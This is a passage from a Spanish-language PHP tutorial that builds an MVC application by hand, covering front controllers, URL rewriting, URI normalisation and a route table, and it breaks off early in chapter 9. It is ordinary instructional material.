MVC · del artesanal al framework

El patrón que ordena el backend: punto único de ingreso, rutas amigables, modelo, vista y controlador construidos a mano sobre PHP 8.5 para terminar entendiendo — pieza por pieza — lo que Laravel, Symfony y CodeIgniter hacen por ti.

34 capítulos Bootstrap 5.3 Modo claro / oscuro Optimizado para móvil Prerrequisito: manual PHP 8.5
34
Capítulos
150+
Ejemplos de código
3
Niveles: básico a experto
1
Requisito: manual PHP 8.5
Cómo usar este tutorial: sigue los capítulos en orden (el índice está en el menú si lees desde el móvil). Cada capítulo agrega una pieza a UNA misma aplicación (dominio Pedidos). Requiere haber cursado el manual PHP 8.5: reutilizamos su POO, PDO, formularios, sesiones y router artesanal del capítulo 41.

1 · El script que se convierte en monstruo

Básico ~14 min

Nadie escribe un sistema caótico a propósito. Los proyectos no nacen desordenados: envejecen desordenados. Este capítulo reproduce esa evolución con un caso mínimo y reconocible — listar pedidos de una tienda — para que veas nacer los dolores que MVC resolverá. Si reconoces tu propio código aquí, el resto del manual te encontrará preparado.

  • Identificar los síntomas del código acoplado antes de que facturen.
  • Medir el costo real: duplicación, imposibilidad de probar y miedo a tocar.
  • Entender por qué «funciona» no es sinónimo de «sostenible».

Versión 1: inocente y honesta

El cliente pide «una página con los pedidos». Entregas esto y todos quedan conformes:

<?php
declare(strict_types=1);

// pedidos.php — version 1
$pdo = new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
               [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);

$filas = $pdo->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id')
             ->fetchAll(PDO::FETCH_ASSOC);
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= $f['id'] ?></td>
    <td><?= $f['cliente'] ?></td>
    <td>S/ <?= number_format($f['total'], 2) ?></td>
    <td><?= $f['estado'] ?></td>
  </tr>
<?php endforeach; ?>
</table>

Treinta líneas, una sola responsabilidad aparente, cero abstracciones. Y está bien: para ese alcance exacto. El error no fue escribirlo; sería creer que así seguirá.

Versión 2: el cliente siempre pide más

Semana siguiente: «queremos filtrar por estado, ver el total formateado como moneda, pintar en rojo los anulados y exportar lo mismo a CSV». El archivo responde creciendo:

<?php // fragmento de pedidos.php — version 2
$filtro = $_GET['estado'] ?? '';
if ($filtro !== '') {
    $st = $pdo->prepare('SELECT ... FROM pedidos WHERE estado = ?');
    $st->execute([$filtro]);
} else {
    $st = $pdo->query('SELECT ... FROM pedidos');   // SQL duplicado
}
$filas = $st->fetchAll();

foreach ($filas as $f) {
    $color = $f['estado'] === 'ANULADO' ? 'red' : 'black';   // presentacion en datos
    $monto = '$ ' . number_format((float)$f['total'], 2);    // formato duplicable
    // ... HTML entrelazado con reglas de negocio ...
}

if (($_GET['export'] ?? '') === 'csv') {
    header('Content-Type: text/csv');
    foreach ($filas as $f) {
        echo implode(',', [$f['id'], $f['cliente'],
              number_format((float)$f['total'], 2), $f['estado']]), "\n";
    }
    exit;   // y si mañana piden Excel, ¿copiamos el bucle otra vez?
}

Cada petición nueva añade un if, duplica una consulta o repite un formato. Nada explota: el sistema simplemente se vuelve más caro de mover en cada iteración.

Los tres dolores medibles

  • Duplicación: la consulta base vive en dos ramas y el formato de moneda ya aparece tres veces. Cambiar «S/» por «USD» implica cazar copias.
  • Intesteable: para verificar el cálculo del total necesitas una base de datos encendida y renderizar HTML. No hay función pura que llamar.
  • Miedo al cambio: ajustar un color puede romper la exportación CSV porque comparten el mismo bloque. Se vuelve cierto el chiste del desarrollador que corrige con los ojos cerrados.
SíntomaCausa de fondoCosto en el tiempo
SQL repetido en varios ifAcceso a datos mezclado con decisiones de pantallaCada reporte nuevo copia y pega consultas
Lógica de colores y formatos entre mediasPresentación acoplada al dominioRediseñar la UI obliga a releer negocio
exit a mitad del archivoUna sola vía de ejecución para todoImposible reutilizar o probar por partes
Filtros por $_GET dispersosEntrada HTTP leída donde se le ocurreValidar significa recorrer todo el archivo
La métrica honesta: mide cuántos archivos debes abrir para responder «¿cómo se calcula el total de un pedido?». En el monstruo es uno — pero con doscientas líneas irrelevantes de por medio. La separación reduce ese ruido, no necesariamente la cantidad de archivos.

El diagnóstico está completo. Ningún patrón vino a salvar este archivo: lo que viene es un principio más simple — que cada pieza tenga una sola razón para cambiar. Ese hilo, tirando suavemente, tejerá MVC en los próximos capítulos.

Puntos clave

  • El acoplamiento no entra por un solo golpe: entra por cada «pequeño ajuste».
  • Duplicación + intestabilidad + miedo al cambio son las señales tempranas.
  • Un script de 30 líneas correcto hoy puede ser el monstruo de mañana.
  • MVC no es magia decorativa: responde dolores concretos y medibles.

2 · Separación de responsabilidades

Básico ~15 min

Antes de pronunciar la sigla MVC, aplicaremos el principio que lo sostiene: dar a cada pieza una sola razón para cambiar. Refactorizaremos el monstruo del capítulo 1 con las herramientas más humildes de PHP — include, funciones y arreglos — y veremos al patrón emerger solo, sin ceremonias.

  • Extraer acceso a datos, lógica de presentación y orquestación en archivos distintos.
  • Distinguir «cambiar por negocio» de «cambiar por presentación».
  • Comprobar que el resultado en pantalla es idéntico, pero el código ya no es el mismo.

El criterio de corte: ¿por qué cambiaría este código?

Tres preguntas separan el archivo-monstruo sin necesidad de teoría:

  • ¿Cambia si el cliente pide otro reporte o formato? → presentación.
  • ¿Cambia si cambia la tabla, consulta o regla de cálculo? → datos/negocio.
  • ¿Cambia si llega la petición por otra puerta (web, CLI, API)? → orquestación.

Paso 1: los datos se van a su casa

<?php
declare(strict_types=1);

// repositorio_pedidos.php — lo UNICO que sabe hablar con la base
function conexion(): PDO
{
    return new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
                   [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
}

function pedidosPorEstado(string $estado = ''): array
{
    $sql = 'SELECT id, cliente, total, estado FROM pedidos';
    if ($estado !== '') {
        $sql .= ' WHERE estado = :estado';           // una sola consulta, parametrizada
    }
    $st = conexion()->prepare($sql . ' ORDER BY id');
    if ($estado !== '') {
        $st->execute([':estado' => $estado]);
    } else {
        $st->execute();
    }
    return $st->fetchAll(PDO::FETCH_ASSOC);
}

Ahora el SQL vive en un único sitio. Si mañana la tabla gana una columna, o migras de PostgreSQL a SQL Server, tocas solo este archivo.

Paso 2: la vista recibe datos, no decide

<?php // plantilla_pedidos.php — SOLO representacion; no consulta, no calcula
/** @param array<int,array> $filas */
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
  <tr>
    <td>#<?= $f['id'] ?></td>
    <td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
    <td>S/ <?= number_format($f['total_formateado'], 2) ?></td>
    <td style="color:<?= $f['color'] ?>"><?= $f['estado'] ?></td>
  </tr>
<?php endforeach; ?>
</table>
Detalle deliberado: la plantilla imprime $f['total_formateado'] y $f['color']: valores ya preparados. Una vista que solo pinta es una vista reutilizable — la misma plantilla servirá para web, correo o exportación.

Paso 3: alguien debe dirigir la orquesta

<?php
// index.php — orquestador: lee entrada, llama datos, entrega datos a la vista
require 'repositorio_pedidos.php';

$estado = $_GET['estado'] ?? '';
$esCsv  = ($_GET['export'] ?? '') === 'csv';

$filas = pedidosPorEstado($estado);
$filas = array_map(function (array $f): array {
    $f['total_formateado'] = (float)$f['total'];                 // dato listo para pintar
    $f['color'] = $f['estado'] === 'ANULADO' ? 'red' : 'black';
    return $f;
}, $filas);

if ($esCsv) {
    header('Content-Type: text/csv; charset=utf-8');
    foreach ($filas as $f) {
        echo implode(',', [$f['id'], $f['cliente'],
              number_format($f['total_formateado'], 2), $f['estado']]), "\n";
    }
    exit;
}

require 'plantilla_pedidos.php';   // la vista NO sabe de donde vinieron los datos

La prueba del algodón

Ejecutable en segundos con el servidor embebido que ya conoces:

# Sirve la carpeta y visita ambas variantes: php -S localhost:8000 # http://localhost:8000/index.php?estado=ANULADO # http://localhost:8000/index.php?export=csv

El navegador muestra exactamente la misma tabla que la versión 2 — pero ahora:

  • Cambiar el diseño toca un archivo (la plantilla).
  • Cambiar el criterio de filtrado toca otro (el repositorio).
  • pedidosPorEstado() es invocable desde un script de pruebas sin renderizar nada.

Puntos clave

  • La pregunta guía es «¿por qué razón cambiaría esta línea?» — no «en qué carpeta va».
  • Vista que recibe datos preparados = reutilizable y segura (siempre escapada).
  • El orquestador lee la entrada HTTP y delega; no sabe SQL ni HTML.
  • MVC no llegó: ya estaba latente en este refactor. Los próximos capítulos le ponen nombre.

3 · MVC: de Smalltalk a la web

Intermedio ~15 min

El refactor del capítulo 2 produjo tres piezas sin bautizarlas. Este capítulo pone los nombres canónicos, cuenta de dónde vienen — porque la historia explica las diferencias entre frameworks — y te da el vocabulario exacto que Laravel, Symfony, Django y hasta Compose heredaron, cada uno con su giro.

  • Asignar nombre y responsabilidad exacta a Modelo, Vista y Controlador.
  • Entender por qué el MVC web no es el MVC de escritorio original.
  • Reconocer las variantes (MVP, MTV, MVVM) como ajustes del mismo principio.

1979: el patrón nace en un laboratorio

Trygve Reenskaug lo formuló en Xerox PARC para Smalltalk-80. El problema original era de escritorio: una misma información (un presupuesto) mostrada en varias vistas simultáneas (gráfico de barras, tabla) debía actualizarse en conjunto cuando el usuario editaba en cualquiera de ellas. El «controlador» era el gestor de entrada de teclado y ratón de aquella época.

La web invirtió el escenario: no hay pantallas simultáneas ni estado vivo entre clic y clic — hay peticiones sin memoria que nacen y mueren. El patrón sobrevivió, pero cambió de trabajo:

PiezaSmalltalk 1979Web PHP hoy
ModeloEstado + negocio notificando cambios a las vistasEntidades + repositorios; no sabe que existe HTTP
VistaSe suscribe al modelo y se redibuja solaPlantilla ejecutada UNA vez; recibe datos listos y muere
ControladorGestiona eventos de entrada del usuarioTraduce la petición HTTP en una llamada al modelo y una vista

A esta adaptación se le llama MVC pasivo: el controlador actúa, el modelo reacciona sin notificar a nadie y la vista es un espejo efímero. Es la versión que implementan Laravel, Symfony o tu mini-framework artesanal.

El reparto exacto de responsabilidades

<?php
// MODELO — dominio puro: reglas y datos. Ignora GET, POST y HTML.
final readonly class Pedido
{
    public function __construct(
        public int $id,
        public string $cliente,
        public float $total,
        public string $estado,           // 'REGISTRADO' | 'PAGADO' | 'ANULADO'
    ) {}

    public function estaAnulado(): bool
    {
        return $this->estado === 'ANULADO';
    }
}

// CONTROLADOR — decide QUÉ hacer con la peticion, nada de SQL ni HTML.
final class PedidosControlador
{
    public function __construct(private PedidoRepositorio $repo) {}

    public function ver(int $id): string
    {
        $pedido = $this->repo->encontrar($id)
                 ?? throw new RuntimeException('Pedido inexistente', 404);
        return vista('pedidos/detalle', ['pedido' => $pedido]);   // elige vista
    }
}

// VISTA — plantilla tonta: recibe $pedido ya listo y SOLO pinta.
?>
<!-- pedidos/detalle.php -->
<h1>Pedido #<?= $pedido->id ?></h1>
<p><?= htmlspecialchars($pedido->cliente, ENT_QUOTES) ?></p>

Variantes: mismos genes, distinta crianza

  • MVC pasivo — el nuestro. Controlador manda; típico en PHP/Python/Ruby.
  • MVP (Model-View-Presenter) — el presentador orquesta todo y la vista es 100% pasiva; común en apps de escritorio/móvil clásicas.
  • MTV (Django) — renombrados: Template es la vista y View es el controlador de siempre. Misma arquitectura, vocabulario propio.
  • MVVM (ViewModel) — expone estado observable que la UI refleja automáticamente; es el corazón de Compose, SwiftUI o WPF. Si vienes de la serie Kotlin: ViewModel + State es MVVM de manual.
Idea central: todas las variantes negocian lo mismo — cuánta inteligencia tiene la vista y quién media entre ella y el modelo. Cambia el árbitro; el principio de separación es inmortal.
MVC ≠ estructura de carpetas. Tener carpetas /models, /views y /controllers no significa seguir el patrón si un controlador consulta SQL o una vista calcula impuestos. Lo que define al patrón es el flujo de dependencias: la vista depende de datos, jamás al revés.

Puntos clave

  • Nació para escritorio con estado; la web lo hizo pasivo y sin memoria.
  • Controlador = traductor HTTP→acción. Modelo = dominio puro. Vista = espejo de datos.
  • MVP/MTV/MVVM son renombres y ajustes del árbitro, no patrones nuevos.
  • Las carpetas no hacen MVC: el flujo de dependencias sí.

4 · HTTP: el contrato que moldea el patrón

Intermedio ~16 min

El front controller que construiremos en la Parte II es, literalmente, un lector de dos variables: ¿qué recurso pides? y ¿con qué método?. Ambas viven en el contrato HTTP. Este capítulo afila ese repaso — ya iniciado en php_01 — con los detalles que el router usará todos los días.

  • Dominar la anatomía de una petición desde la perspectiva del servidor.
  • Elegir el código de estado correcto como parte del diseño, no como remate.
  • Leer $_SERVER['REQUEST_URI'] y REQUEST_METHOD sin sustos.

Una petición, despiezada

Cuando el navegador pide la página 5 del listado filtrado, esto es lo que llega:

# Linea de solicitud + cabeceras (recortadas) GET /pedidos?page=5&estado=PAGADO HTTP/1.1 Host: tienda.test Accept: text/html,application/xhtml+xml Cookie: tut-theme=dark

Tres zonas que tu aplicación traducirá por separado:

  • Método + ruta (/pedidos?page=5&estado=PAGADO) → el router decidirá controlador y acción. Ojo: REQUEST_URI incluye el query string; el router aprenderá a recortarlo.
  • Cabeceras → formato aceptado, cookies, autenticación.
  • Cuerpo → vacío en GET; formulario o JSON en POST/PUT.
<?php
declare(strict_types=1);

// Lo que PHP ya desgloso por ti (eco cap. 32 de php_01, ahora con fin concreto)
var_dump(
    $_SERVER['REQUEST_METHOD'],                 // 'GET'
    $_SERVER['REQUEST_URI'],                    // '/pedidos?page=5&estado=PAGADO'
    parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),      // '/pedidos'  <- ruta limpia
    $_GET                                       // ['page'=>'5', 'estado'=>'PAGADO']
);
string(3) "GET" string(28) "/pedidos?page=5&estado=PAGADO" string(8) "/pedidos" array(2) { ["page"]=> string(1) "5" ["estado"]=> string(6) "PAGADO" }
Regla futura del router: la ruta se compara contra parse_url(..., PHP_URL_PATH); los parámetros viajan por $_GET o por segmentos dinámicos (/pedido/{id}, Parte III). Nunca compares la URI completa: el orden del query string te rompería el match.

Los métodos que tu router entenderá

MétodoSemánticaUso en la app Pedidos
GETLeer; seguro y repetible, no cambia estadoListado, detalle, formularios de edición
POSTCrear / enviar datos que cambian estadoRegistrar pedido, anular
PUT/PATCHReemplazar / ajustar (idempotentes)Solo en la API JSON; la web usa POST+PRG
DELETEEliminarEndpoint de API; la web lo simula con POST

Códigos de estado: la mitad de tu trabajo

Un framework «bien hecho» se reconoce porque cada salida lleva su estado preciso. Estos cinco cubrirán el manual completo:

<?php
http_response_code(302);
header('Location: /pedidos/17');     // PRG: redirigir tras POST (cap. 23)

http_response_code(404);             // ruta no encontrada o pedido inexistente
echo 'Recurso no encontrado';
CódigoNombreCuándo lo emitirá tu MVC
200OKVista renderizada normalmente
302FoundRedirección PRG tras un POST exitoso
404Not FoundNinguna ruta coincide / el modelo no encuentra el registro
405Method Not AllowedRuta existe pero con otro método (GET a un endpoint POST)
500Server ErrorExcepción no capturada — el handler global responde
Trampa clásica: header() debe ejecutarse ANTES de cualquier echo. Por eso el mini-framework acumulará primero todo el cuerpo en memoria (ob_start(), cap. 13) y recién entonces enviará cabeceras + cuerpo. Guarda esa idea: es la razón de ser del ciclo respuesta.

Puntos clave

  • El router vive de dos datos: REQUEST_METHOD y la PATH de REQUEST_URI.
  • Query string ≠ ruta: se parsean por separado desde el día uno.
  • Los códigos 302/404/405/500 son decisiones de diseño, no accidentes.
  • header() antes del cuerpo — y ob_start() hará eso posible siempre.

5 · Script por página vs front controller

Básico ~14 min

Dos filosofías para responder peticiones conviven en la web PHP. La antigua — un archivo por página — sigue siendo intuitiva; la moderna — una sola puerta de entrada — es la que usan todos los frameworks serios. Este capítulo compara ambas con evidencia, porque entender por qué cambió la industria vale más que memorizar que «así se hace».

  • Listar los costos ocultos del patrón script-por-página.
  • Definir el front controller con precisión y sin humo.
  • Reconocer la puerta única en los frameworks que visitarás al final del manual.

El mapa crece con cada página

# La tienda en modo tradicional: la URL ES el sistema de archivos pedidos.php clientes.php reportes.php pedido_nuevo.php cliente_nuevo.php exportar.php

Cada archivo repite su pequeña ceremonia de arranque:

<?php // inicio COPIADO en los seis archivos anteriores
declare(strict_types=1);
session_start();                       // ¿y si uno lo olvida?
require 'repositorio_pedidos.php';
require 'repositorio_clientes.php';
require 'helpers_vistas.php';
if (empty($_SESSION['usuario'])) {     // control de acceso copiado y pegado
    header('Location: login.php');
    exit;
}
// ... recien ahora empieza lo especifico de ESTA pagina ...
SíntomaPor qué ocurreEfecto a mediano plazo
Arranque duplicado en N archivosNo existe un lugar único «antes de todo»Un ajuste de sesión = tocar N archivos
URLs acopladas a archivos (/pedidos.php)El servidor mapea ruta→archivo literalmenteRenombrar rompe enlaces, SEO e historial
Seguridad copiada archivo por archivoCada puerta se protege por separadoBasta olvidar UNA verificación para abrir la casa
404 silenciosos por refactorMover un archivo cambia la URL públicaMiedo a reorganizar el proyecto

La alternativa: una recepción única

El front controller concentra la ceremonia en un solo punto: todas las peticiones entran por index.php, que inspecciona la petición y delega al especialista correspondiente. Como la recepción de un hotel: registras una vez y ella te dirige a la habitación correcta — nadie entra directo a la cocina.

<?php
// index.php — LA unica puerta (esqueleto conceptual; lo construimos en cap. 6)
declare(strict_types=1);
session_start();
require 'repositorio_pedidos.php';       // arranque UNICO, garantizado
require 'helpers_vistas.php';

$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = rutaLimpia();                  // /pedidos/17 — cap. 8

$controlador = new PedidosControlador(new PedidoRepositorio(conexion()));

$respuesta = match ([$metodo, $ruta]) {
    ['GET', '/']         => $controlador->inicio(),
    ['GET', '/pedidos']  => $controlador->listar(),
    ['POST', '/pedidos'] => $controlador->registrar(),
    default              => throw new RuntimeException('Ruta no encontrada', 404),
};

echo $respuesta;

Siete líneas compartidas que antes eran siete copias. Y lo específico de cada página no desaparece: se convierte en un método de un controlador — pequeño, enfocado, testeable.

No me creas a mí: mira quién usa cuál

  • Laravel: toda petición pasa por public/index.php.
  • Symfony: public/index.php — idéntico principio.
  • Spring (Java): DispatcherServlet.
  • ASP.NET Core: pipeline de middleware con un solo host.
Aclaración honesta: el front controller no elimina archivos — reorganiza responsabilidades. Los controladores siguen siendo clases pequeñas; lo que muere es la puerta pública múltiple.
Prueba rápida de madurez: en tu proyecto actual, ¿cuántos archivos tendrías que editar para añadir un log de auditoría a TODAS las peticiones? Con script-por-página: todos. Con front controller: uno.

Puntos clave

  • Script-por-página multiplica arranque, seguridad y mantenimiento por número de páginas.
  • Front controller = una sola puerta pública + despacho interno a especialistas.
  • Todos los frameworks modernos son front controllers con buen traje.
  • Las URLs públicas dejan de depender de tu sistema de archivos (base de las rutas amigables).

6 · El bootstrap mínimo

Intermedio ~16 min

Llega el momento de escribir la puerta única de verdad. En este capítulo construimos un index.php ejecutable que responde a dos rutas usando un match hardwired — a propósito: el dolor de ese hardcodeo es exactamente lo que justificará el router formal de la Parte III.

  • Establecer las secciones fijas de todo bootstrap: entorno, sesión, carga, despacho.
  • Responder con una cadena simple para aislar el ciclo petición→respuesta.
  • Dejar instalado el handler global de excepciones (versión mínima).

El archivo completo, comentado por bloques

<?php
declare(strict_types=1);

// ============================================================
//  index.php — front controller de la tienda (version minima)
// ============================================================

// --- 1) Entorno y rutas base -------------------------------------------
define('BASE_PATH', __DIR__);                 // raiz del proyecto en disco

// --- 2) Sesion (eco cap. 35 de php_01) ----------------------------------
session_start();

// --- 3) Carga de codigo de la aplicacion -------------------------------
require BASE_PATH . '/repositorio_pedidos.php';
require BASE_PATH . '/helpers_vistas.php';

// --- 4) Handler global: ninguna excepcion sin respuesta ----------------
set_exception_handler(function (Throwable $e): void {
    http_response_code($e->getCode() >= 400 ? $e->getCode() : 500);
    echo 'Error controlado: ', htmlspecialchars($e->getMessage(), ENT_QUOTES);
});

// --- 5) Lectura de la peticion (eco cap. 4) ----------------------------
$metodo = $_SERVER['REQUEST_METHOD'];
$ruta   = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// --- 6) Despacho PROVISORIO: match hardwired ---------------------------
try {
    $respuesta = match ($ruta) {
        '/', '/inicio' => '<h1>Bienvenido a la tienda</h1><p>' . date('Y-m-d H:i') . '</p>',
        '/pedidos'     => '<h1>Pedidos</h1><p>aqui ira el listado</p>',
        default        => throw new RuntimeException('Ruta no encontrada', 404),
    };
    http_response_code(200);
} catch (Throwable $e) {
    $respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
    http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
}

// --- 7) Respuesta -------------------------------------------------------
echo $respuesta;
Numerado a propósito: esos siete bloques son el orden canónico de cualquier bootstrap — incluido el de Laravel, solo que allí cada bloque vive en archivos distintos (.env, providers, Kernel). Memoriza la secuencia, no el archivo.

Prueba de fuego en tres URLs

# Recuerda: el servidor embebido SIN router-script solo sirve # archivos reales; para probar rutas amigables usamos el modo especial: php -S localhost:8000 index.php # En otra terminal (o el navegador): curl -s localhost:8000/ curl -s localhost:8000/pedidos curl -s -o /dev/null -w "%{http_code}" localhost:8000/no-existe ; echo
<h1>Bienvenido a la tienda</h1><p>2026-08-23 14:02</p> <h1>Pedidos</h1><p>aqui ira el listado</p> 404

Tres observaciones que valen oro:

  • El 404 ya es un contrato: la ruta inexistente lanza excepción con código 404 y el handler la convierte en respuesta HTTP correcta.
  • El método aún no participa: un POST a /pedidos caería en el mismo listado. El match solo compara la ruta — anótalo como deuda pendiente.
  • La vista es un string: suficiente para dominar el ciclo; las plantillas reales llegan en la Parte IV.

¿Y el hardcodeo, no era malo?

Mira lo que pasa cuando añades la quinta página: tocas el match, mezclas HTML con lógica de despacho y empiezas a soñar con una «tabla de rutas» configurable. Exacto — ese sueño tiene nombre (Router) y capítulos asignados (9–12). El diseño bueno casi siempre nace de un ejemplo pequeño que duele justo lo necesario.

Puntos clave

  • Bootstrap canónico: entorno → sesión → carga → handler → petición → despacho → respuesta.
  • Excepción con código HTTP = respuesta con ese código; cero pantallas blancas.
  • El match provisorio demuestra el concepto Y motiva el router real.
  • php -S host index.php: el servidor embebido también puede tener front controller (eco cap. 28).

7 · Rutas amigables I: el rewrite

Intermedio ~16 min

Nuestro front controller ya responde — pero solo si el servidor encuentra el archivo index.php. Pide /pedidos con Apache «de fábrica» y obtendrás un 404 del servidor, porque no existe ningún archivo llamado así. La solución tiene nombre de mago: reescritura de URLs, y su hechizo vive en .htaccess.

  • Entender por qué el servidor 404ea rutas sin archivo real.
  • Escribir el .htaccess canónico línea por línea (Apache).
  • Reproducir el mismo efecto en nginx y en el servidor embebido.

El objetivo, en una comparación

URL fea (acoplada)URL amigable (diseñada)
/pedidos.php?estado=ANULADO/pedidos?estado=ANULADO
/pedido_detalle.php?id=17/pedidos/17
Expone tecnología y estructuraHabla el idioma del usuario y del SEO
Cambiar el archivo rompe la URLLa ruta sobrevive a cualquier refactor interno

El .htaccess canónico, despiezado

# .htaccess — misma carpeta que index.php
RewriteEngine On

# No reescribir si la peticion es un archivo REAL (css, js, imagenes)
RewriteCond %{REQUEST_FILENAME} !-f

# ...ni un directorio REAL
RewriteCond %{REQUEST_FILENAME} !-d

# Todo lo demas viaja al front controller y ahi termina el ciclo [L]
RewriteRule ^ index.php [L]

Tres líneas hacen todo el trabajo:

  • RewriteCond !-f: si existe un archivo físico con ese nombre (/estilos.css), sírvelo tal cual. Sin esta línea, tu CSS moriría redirigido al index.
  • RewriteCond !-d: ídem para carpetas reales.
  • RewriteRule ^ index.php [L]: cualquier otra cosa entra al front controller. El patrón vacío coincide con todas las rutas; [L] («last») corta el proceso de reescritura.
Requisitos Apache: mod_rewrite activo (a2enmod rewrite) y AllowOverride All para que el .htaccess sea leído. Si los RewriteCond no funcionan, el síntoma clásico es un 500 o un index que recibe TODAS las peticiones incluido el CSS.

El mismo pacto en nginx

nginx no lee .htaccess: su equivalente vive en la configuración del sitio y usa try_files:

# /etc/nginx/sites-available/tienda (fragmento del bloque server)
location / {
    try_files $uri $uri/ /index.php?$query_string;
}

Misma semántica: intenta el archivo, luego el directorio; si nada existe, entrega la petición a index.php conservando el query string. Diferencia operativa clave: nginx exige reload del servicio; Apache relee el .htaccess en cada petición (cómodo en desarrollo, algo más caro en producción).

Desarrollo: el servidor embebido ya puede todo esto

En php_01 (cap. 28) viste que php -S acepta un router script. Es nuestra versión miniatura del rewrite:

<?php
// router_dev.php — imita el .htaccess bajo `php -S localhost:8000 router_dev.php`
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// ¿existe archivo o carpeta real? dejalo pasar (devuelve false = sirvelo directo)
if ($ruta !== '/' && file_exists(__DIR__ . $ruta)) {
    return false;
}

require __DIR__ . '/index.php';   // todo lo demas: front controller
# Tres modos de desarrollo equivalentes: php -S localhost:8000 router_dev.php # embebido + rewrite manual # Apache con el .htaccess de arriba # nginx con try_files — idéntico comportamiento para la app

Con el rewrite instalado, /pedidos, /pedidos/17 o lo que inventemos llegan intactos a nuestro index.php. Lo que haga con ellas ya es territorio del capítulo 8.

Puntos clave

  • El 404 venía del servidor: pedías recursos que no existen como archivos.
  • Las dos RewriteCond protegen tus assets; sin ellas el CSS «desaparece».
  • nginx = try_files; embebido = router script con return false.
  • Ruta amigable ≠ magia: es rewrite → front controller → despacho (siempre ese orden).

8 · Rutas amigables II: parsear la URI

Intermedio ~15 min

El rewrite entrega la petición completa al front controller — incluidas las partes que NO queremos comparar: query string, barra final caprichosa, o el prefijo /tienda/public si la app vive en una subcarpeta. Este capítulo escribe la función que convierte esa URI cruda en la ruta limpia y segura que el router comparará, con pruebas incluidas.

  • Normalizar REQUEST_URI en cinco pasos deterministas.
  • Soportar la app dentro de un subdirectorio sin tocar el código de rutas.
  • Probar la función con aserciones ejecutables desde CLI.

Los cinco pasos del saneamiento

<?php
declare(strict_types=1);

define('BASE_URL', '/tienda/public');   // '' si la app vive en la raiz del host

function rutaActual(): string
{
    // 1) URI cruda (incluye query string)
    $uri = $_SERVER['REQUEST_URI'] ?? '/';

    // 2) separar la PATH del query string (?page=5 se queda para $_GET)
    $ruta = parse_url($uri, PHP_URL_PATH) ?? '/';

    // 3) decodificar %20 y amigos; rechazar trucos de null byte
    $ruta = rawurldecode($ruta);
    if (str_contains($ruta, "\0")) {
        throw new RuntimeException('Ruta invalida', 400);
    }

    // 4) quitar el prefijo base (/tienda/public/pedidos -> /pedidos)
    if (BASE_URL !== '' && str_starts_with($ruta, BASE_URL)) {
        $ruta = substr($ruta, strlen(BASE_URL));
    }

    // 5) normalizar: sin slash final (pero '/' raiz se respeta)
    return $ruta !== '/' && str_ends_with($ruta, '/')
         ? rtrim($ruta, '/') : $ruta;
}
Seguridad primero: la ruta NUNCA se usa para abrir archivos; solo se compara contra la tabla de rutas. Aun así, decodificar y rechazar bytes nulos evita sorpresas al hacer echo o logs. El paso 5 garantiza que /pedidos y /pedidos/ sean LA MISMA ruta — duplicar entradas por una barra es bug clásico.

Prueba ejecutable: la función se defiende sola

Como la función solo lee $_SERVER, podemos simular peticiones completas sin servidor:

<?php
// prueba_ruta.php — correr con: php prueba_ruta.php
$casos = [
    ['/pedidos?page=5&estado=PAGADO', '/pedidos'],
    ['/tienda/public/pedidos/17',     '/pedidos/17'],
    ['/tienda/public/pedidos/',       '/pedidos'],
    ['/',                             '/'],
    ['/catalogo%20nuevo',             '/catalogo nuevo'],
];

foreach ($casos as [$entrada, $esperado]) {
    $_SERVER['REQUEST_URI'] = $entrada;
    $obtenido = rutaActual();
    $ok = $obtenido === $esperado ? 'OK ' : 'FALLA';
    printf("%s %-38s => %s\n", $ok, $entrada, $obtenido);
    assert($obtenido === $esperado);
}
echo "Pruebas de rutas terminadas\n";
OK /pedidos?page=5&estado=PAGADO => /pedidos OK /tienda/public/pedidos/17 => /pedidos/17 OK /tienda/public/pedidos/ => /pedidos OK / => / OK /catalogo%20nuevo => /catalogo nuevo Pruebas de rutas terminadas
PasoEntrada típicaSalidaPor qué importa
Query string fuera/pedidos?page=5/pedidosEl orden de parámetros no rompe el match
Decodificación/café%20frío/café fríoRutas legibles con acentos reales
Base URL fuera/tienda/public/pedidos/pedidosMismo código en subcarpeta o dominio propio
Slash final/pedidos//pedidosUna ruta = una entrada en la tabla

Integración con el bootstrap

En index.php, la línea cruda del capítulo 6 se jubila:

// ANTES (cap. 6):
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// DESPUES:
require BASE_PATH . '/ruta_actual.php';
$ruta = rutaActual();

Con esto cerramos la Parte II: hay puerta única, el servidor entrega TODO al front controller y este ya recibe rutas limpias, seguras y normalizadas. Falta el cerebro que decide qué hacer con cada una — el Router — y es exactamente la Parte III.

Puntos clave

  • Cinco pasos: path → decode → validar → base → slash final. Siempre igual.
  • BASE_URL como constante hace portable la app sin tocar rutas.
  • Simular $_SERVER permite probar rutas desde CLI, sin navegador.
  • Query string nunca participa del match: vive en $_GET.

9 · La tabla de rutas

Intermedio ~15 min

El match hardwired del capítulo 6 cumplió su misión: demostrar el ciclo y doler justo lo necesario. Hoy lo jubilamos. La idea central del router es simple y poderosa: las rutas son datos, no código. Una tabla declarativa que vive en su propio archivo, legible de un vistazo y editable sin tocar la maquinaria.

  • Diseñar el formato de la tabla: 'MÉTODO /ruta' → controlador@acción.
  • Implementar la búsqueda exacta (solo rutas estáticas por ahora).
  • Integrarla al bootstrap y comprobar el 404 automático.

El formato: una llave que lo dice todo

<?php
declare(strict_types=1);

// rutas.php — el mapa completo de la aplicacion
return [
    'GET /'           => ['InicioControlador', 'inicio'],
    'GET /contacto'   => ['InicioControlador', 'contacto'],
    'GET /pedidos'    => ['PedidosControlador', 'listar'],
    'POST /pedidos'   => ['PedidosControlador', 'registrar'],
];

Decisiones de diseño que valen examen:

  • Método dentro de la llave: GET /pedidos y POST /pedidos son entradas distintas — anticipa el capítulo 11.
